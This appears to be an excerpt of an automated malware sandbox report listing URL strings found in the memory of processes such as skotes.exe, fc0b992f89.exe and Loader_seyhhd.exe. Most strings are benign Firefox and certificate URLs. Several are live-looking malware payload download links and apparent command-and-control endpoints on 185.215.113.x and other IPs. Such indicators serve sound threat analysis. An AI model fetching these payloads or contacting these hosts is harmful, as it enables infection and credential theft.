Source: skotes.exe, 00000007.00000002.3311124337.0000000001487000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe
Source: skotes.exe, 00000007.00000002.3311124337.0000000001487000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exeof
Source: fc0b992f89.exe, 00000017.00000002.3158433067.000000000186E000.00000004.00000020.00020000.00000000.sdmp, fc0b992f89.exe, 00000029.00000002.3311731465.000000000157B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: fc0b992f89.exe, 00000017.00000002.3158433067.000000000186E000.00000004.00000020.00020000.00000000.sdmp, fc0b992f89.exe, 00000017.00000002.3158433067.00000000018CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: fc0b992f89.exe, 00000017.00000002.3158433067.00000000018B3000.00000004.00000020.00020000.00000000.sdmp, fc0b992f89.exe, 00000017.00000002.3158433067.00000000018E3000.00000004.00000020.00020000.00000000.sdmp, fc0b992f89.exe, 00000017.00000002.3158433067.000000000186E000.00000004.00000020.00020000.00000000.sdmp, fc0b992f89.exe, 00000017.00000002.3158433067.00000000018CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: fc0b992f89.exe, 00000017.00000002.3158433067.00000000018CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php/
Source: fc0b992f89.exe, 00000017.00000002.3158433067.000000000186E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php1
Source: fc0b992f89.exe, 00000017.00000002.3158433067.00000000018B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpE
Source: fc0b992f89.exe, 00000017.00000002.3158433067.00000000018CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpZ=
Source: fc0b992f89.exe, 00000017.00000002.3158433067.00000000018CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ws
Source: skotes.exe, 00000007.00000002.3311124337.0000000001487000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/
Source: skotes.exe, 00000007.00000002.3311124337.00000000014C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/;v%
Source: skotes.exe, 00000007.00000002.3311124337.0000000001487000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000007.00000002.3311124337.00000000014C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php57001
Source: skotes.exe, 00000007.00000002.3311124337.0000000001487000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpG
Source: skotes.exe, 00000007.00000002.3311124337.0000000001487000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpJ
Source: skotes.exe, 00000007.00000002.3311124337.000000000146E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpi
Source: skotes.exe, 00000007.00000002.3311124337.000000000146E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpq
Source: skotes.exe, 00000007.00000002.3311124337.0000000001487000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/onAp
Source: skotes.exe, 00000007.00000002.3311124337.0000000001487000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/ta
Source: Loader_seyhhd.exe, 00000015.00000002.2940984512.00007FF73A55B000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: http://193.169.105.15:3000/download/seyhhdBuild.exeC:
Source: skotes.exe, 00000007.00000002.3311124337.0000000001487000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/Loader_seyhhd.exe
Source: file.exe, 00000000.00000003.2104997020.0000000005A5D000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000016.00000003.3086106496.000000000533D000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000018.00000003.3247573298.0000000005BA3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3681018678.000001FC2FB2F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.2104997020.0000000005A5D000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000016.00000003.3086106496.000000000533D000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000018.00000003.3247573298.0000000005BA3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3681018678.000001FC2FB2F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3353366771.000001FC29B7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%s
Source: firefox.exe, 00000026.00000002.3377928766.000001FC2AFC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%ss
Source: file.exe, 00000000.00000003.2104997020.0000000005A5D000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000016.00000003.3086106496.000000000533D000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000018.00000003.3247573298.0000000005BA3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3681018678.000001FC2FB2F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.2104997020.0000000005A5D000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000016.00000003.3086106496.000000000533D000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000018.00000003.3247573298.0000000005BA3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3681018678.000001FC2FB2F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.2104997020.0000000005A5D000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000016.00000003.3086106496.000000000533D000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000018.00000003.3247573298.0000000005BA3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3681018678.000001FC2FB2F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.2104997020.0000000005A5D000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000016.00000003.3086106496.000000000533D000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000018.00000003.3247573298.0000000005BA3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3681018678.000001FC2FB2F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.2104997020.0000000005A5D000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000016.00000003.3086106496.000000000533D000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000018.00000003.3247573298.0000000005BA3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3681018678.000001FC2FB2F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 00000026.00000002.3700515723.000001FC359FE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000026.00000002.3682799849.000001FC2FD1C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 00000026.00000002.3682799849.000001FC2FD1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.htmlneedForCheckingAntiTrackingHeuristichasInjectedCookieF
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: svchost.exe, 00000027.00000002.3313701747.0000025929902000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: firefox.exe, 00000026.00000002.3351960809.000001FC29526000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/common
Source: firefox.exe, 00000026.00000002.3351960809.000001FC2955C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/dates-and-times$
Source: firefox.exe, 00000026.00000002.3351960809.000001FC29526000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/math
Source: firefox.exe, 00000026.00000002.3351960809.000001FC2955C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/regular-expressions
Source: firefox.exe, 00000026.00000002.3351960809.000001FC29526000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/sets
Source: firefox.exe, 00000026.00000002.3329290402.000001FC1DD03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/strings
Source: svchost.exe, 00000027.00000003.3253563869.000002592E460000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: firefox.exe, 00000026.00000002.3696585297.000001FC3150E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3389998509.000001FC2B3FC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3377928766.000001FC2AFDC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3666212284.000001FC2E28E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3702630308.000001FF0003F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3696585297.000001FC31520000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3675675057.000001FC2EA03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3691022414.000001FC3050E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3662149243.000001FC2DE03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3686044474.000001FC300F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: file.exe, 00000000.00000003.2104997020.0000000005A5D000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000016.00000003.3086106496.000000000533D000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000018.00000003.3247573298.0000000005BA3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3681018678.000001FC2FB2F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.2104997020.0000000005A5D000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000016.00000003.3086106496.000000000533D000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000018.00000003.3247573298.0000000005BA3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3681018678.000001FC2FB2F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3353366771.000001FC29B7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000026.00000002.3377928766.000001FC2AFC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sw
Source: configuredInstallerEXE.exe, 00000008.00000003.2911281703.00000272A10BC000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2911656054.00000272A10C5000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2911489902.00000272A10BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schema.org/WebPage
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3353366771.000001FC29B7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000026.00000002.3377928766.000001FC2AFC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sy
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3353366771.000001FC29B7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%s
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%sresource://gre/modules/FileUtils.sys.mjsresource://gre/modules/
Source: firefox.exe, 00000026.00000002.3377928766.000001FC2AFC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%su
Source: firefox.exe, 00000026.00000002.3682799849.000001FC2FD1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-update
Source: firefox.exe, 00000026.00000002.3682799849.000001FC2FD1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-updateBITS_IDLE_NO_PROGRESS_TIMEOUT_SECSBITS_ACTIVE_NO_PROGRESS_TIME
Source: firefox.exe, 00000026.00000002.3548548967.000001FC2D3AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-updatex
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29FE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3689100267.000001FC3038B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3462309093.000001FC2BCCB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3375948199.000001FC29F97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 00000026.00000002.3664983891.000001FC2E103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul8
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulbrowser.storageManager.pressureNotifica
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29FDB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://extensions/content/schemas/bro
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3375948199.000001FC29FAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/elements/browse
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29FDB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulhttp://www.mozilla.org/keymaster/gateke
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulunified-nav-back
Source: file.exe, 00000000.00000003.2104997020.0000000005A5D000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000016.00000003.3086106496.000000000533D000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000018.00000003.3247573298.0000000005BA3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3681018678.000001FC2FB2F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.2104997020.0000000005A5D000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000016.00000003.3086106496.000000000533D000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000018.00000003.3247573298.0000000005BA3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3681018678.000001FC2FB2F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000003.3256016413.000001FC2DC00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000003.3258104536.000001FC2DE38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000003.3256988667.000001FC2DE1D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000003.3263650476.000001FC2DE6F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000003.3262756562.000001FC2DE53000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3615955624.000001FC2D770000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000026.00000003.3277257578.000001FC2E2D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/_updateInnerControlsForSelectionnsIDOMXULRadioGroupElement
Source: file.exe, 00000000.00000003.2075098216.0000000005988000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000016.00000003.3058561303.0000000005268000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000018.00000003.3210575446.0000000005BA8000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000018.00000003.3210462650.0000000005BAB000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000018.00000003.3211205126.0000000005BA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 00000026.00000002.3696585297.000001FC31591000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.c
Source: firefox.exe, 00000026.00000002.3696585297.000001FC31591000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.ca
Source: firefox.exe, 00000026.00000002.3377928766.000001FC2AF76000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000026.00000002.3377928766.000001FC2AF90000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: firefox.exe, 00000026.00000002.3700515723.000001FC3595F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000026.00000002.3349505457.000001FC1F9B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser-check--disable-popup-blockin
Source: firefox.exe, 00000026.00000002.3353920953.000001FC29EFC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3377928766.000001FC2AFB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-engines/
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 00000026.00000002.3683368813.000001FC2FEAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3683368813.000001FC2FE5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3682799849.000001FC2FD0F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3375948199.000001FC29F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3681018678.000001FC2FBE8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3682799849.000001FC2FD03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3682799849.000001FC2FD0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etpcolor-mix(in
Source: firefox.exe, 00000026.00000002.3377928766.000001FC2AF76000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3703163798.00001A8C37B04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3377928766.000001FC2AF90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://api.accounts.firefox.com/v1
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 00000026.00000002.3329290402.000001FC1DD11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: firefox.exe, 00000026.00000002.3703163798.00001A8C37B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://baidu.com
